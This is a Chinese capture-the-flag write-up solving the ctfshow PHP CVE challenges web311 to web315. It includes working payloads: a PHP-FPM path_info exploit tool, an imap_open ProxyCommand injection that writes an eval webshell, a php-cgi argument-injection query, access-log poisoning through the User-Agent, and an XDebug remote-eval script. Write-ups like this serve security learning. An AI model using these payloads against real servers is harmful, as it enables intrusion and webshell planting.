ctfshow phpCVE web311-web315 wp

可能写的有点啰嗦，记录自己做题的过程

web311:CVE-2019-11043

phpCVE,打开只有一个where is flag页面，注释也就只说了cve

于是去百度看看，发现这也太多了吧。看看群主的描述

似曾相识,就这一个文件，不用扫描

emmm，还是先抓个包吧

发包发现响应：X-Powered-By: PHP/7.1.33dev

然后去搜了一下发现为啥很多漏洞的修复版本是7.1.33。还是去试试

搜php7.1.33主要都是搜到CVE-2019-11043，远程代码执行漏洞

该漏洞位于PHP-FPM模块的env_path_info函数，在特定的nginx + php-fpm配置中，web用户就可能会进行代码执行。该漏洞需要在nginx.conf中进行特定配置才能触发。配置如下

location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

使用%0a（换行符）来破坏正则，从而使得PATH_INFO为空

利用条件： nginx配置了fastcgi_split_path_info

受影响系统： PHP 5.6-7.x，Nginx>=0.7.31

复现需要golang环境

顺便去看看服务器有没有golang环境，没有就顺便装一个（主要是服务器装的快还不用我流量）

sudo apt install golang

安装工具：

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

问题：

执行go get -v && go build会一直没反应
因为go proxy默认为proxy.golang.org，国内无法访问
执行命令换代理：go env -w GOPROXY=https://goproxy.cn
再次执行go get -v && go build

漏洞利用

go run . "http://92cdd785-55c4-4b35-85fa-ae1dc7fdc367.challenge.ctf.show/index.php"

然后我不知道为什么，有时候执行命令有回显，有时候执行无回显

总之多执行几次?a=ls，可以发现当前目录有一个fl0gHe1e.txt

直接访问即可

web312:CVE-2018-19518

依旧是先抓包：

Server: nginx/1.21.1

X-Powered-By: PHP/5.6.38

百度这个php版本，我百度到了CVE-2018-19518（远程命令执行漏洞）

漏洞简介

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell，而debian/ubuntu中默认使用ssh来代替rsh的功能（也就是说，在debian系列系统中，执行rsh命令实际执行的是ssh命令）。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令，攻击者通过注入注入这个参数，最终将导致命令执行漏洞。

影响版本

PHP：5.6.38
系统：Debian/ubuntu

看完这个简介，很明显找对了漏洞，百度找一个复现的就好

漏洞利用

先随便发一个包

然后对自己想要发的内容进行一次base64编码

首先对<?php @eval($_POST[mumuzi]);?>进行一次base64编码

然后对echo "PD9waHAgQGV2YWwoJF9QT1NUW211bXV6aV0pOz8+" | base64 -d >/var/www/html/ma.php进行一次base64编码

得到ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw

注意：如果进行base64编码后，含有+ =，都要进行url编码即%2b %3d，所以为了保证不会出错，最好再对得到的base64编码后的字符串再进行url编码。相当于步骤为先base64编码，再url编码

然后将hostname的内容替换成x+-oProxyCommand%3decho%09编码后的内容|base64%09-d|sh}

即x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw|base64%09-d|sh}

虽然有报错，但是访问ma.php发现已经存在此页面

成功执行

web313:CVE-2012-1823

依旧是where is flag?老规矩抓包

这一次是X-Powered-By: PHP/5.4.1

谷歌搜到CVE-2012-1823，好家伙，这不catf1ag复现过的题目（CGI）具体可以看P神博客PHP-CGI远程代码执行漏洞（CVE-2012-1823）分析

之前因为做过一次，我这里就直接拿payload打了

最终payload

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

<?php echo system("cat /somewhere/fla9.txt"); ?>

web314:日志文件包含

<?php

error_reporting(0);

highlight_file(__FILE__);

//phpinfo
$file = $_GET['f'];

if(!preg_match('/\:/',$file)){
    include($file);
}

应该是说flag在phpinfo里

这里过滤了冒号，我寻思web81不也是过滤冒号的么，甚至还过滤了php和data

然后我看了一眼写的web81的wp，尝试去跟着操作试试

成功

奇怪了，为什么说没有呢

看一下根目录，哦flag在根目录

最后:

GET /?f=/var/log/nginx/access.log
UA写User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36<?php system('cat /fl6g');?>

发包之后再访问一次即可
所以这和CVE有什么关系

web315:XDebug 远程调试漏洞

为什么推荐备用环境捏

PHP/7.1.12，题目描述：debug开启，端口9000

于是去百度debug 9000 CVE

第一篇就是ctfshow PHPCVE wp。。。

这也算自己做的过程，那就直接看了吧

XDebug 远程调试漏洞：https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce

影响

XDebug是PHP的一个扩展，用于调试PHP代码。如果目标开启了远程调试模式，并设置remote_connect_back = 1：

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下，我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm，目标服务器的XDebug将会连接访问者的IP（或X-Forwarded-For头指定的地址）并通过dbgp协议与其通信，我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。

漏洞利用

因为需要使用dbgp协议与目标服务器通信，所以无法用http协议复现漏洞

有已经编写好的脚本：https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py

python3 exp.py -t http://be189f8f-1425-41a8-b830-87f722a186df.challenge.ctf.show/index.php -c 'shell_exec("ls /");'

注意：因为该通信是一个反向连接的过程，exp.py启动后其实是会监听本地的9000端口（可通过-l参数指定）并等待XDebug前来连接，所以执行该脚本的服务器必须有外网IP（或者与目标服务器处于同一内网）

弄了好几次也没成功，怪不得群主在描述中写推荐使用备用环境啊。
然后叫群主修了备用环境
访问即可

至此，phpCVE板块结束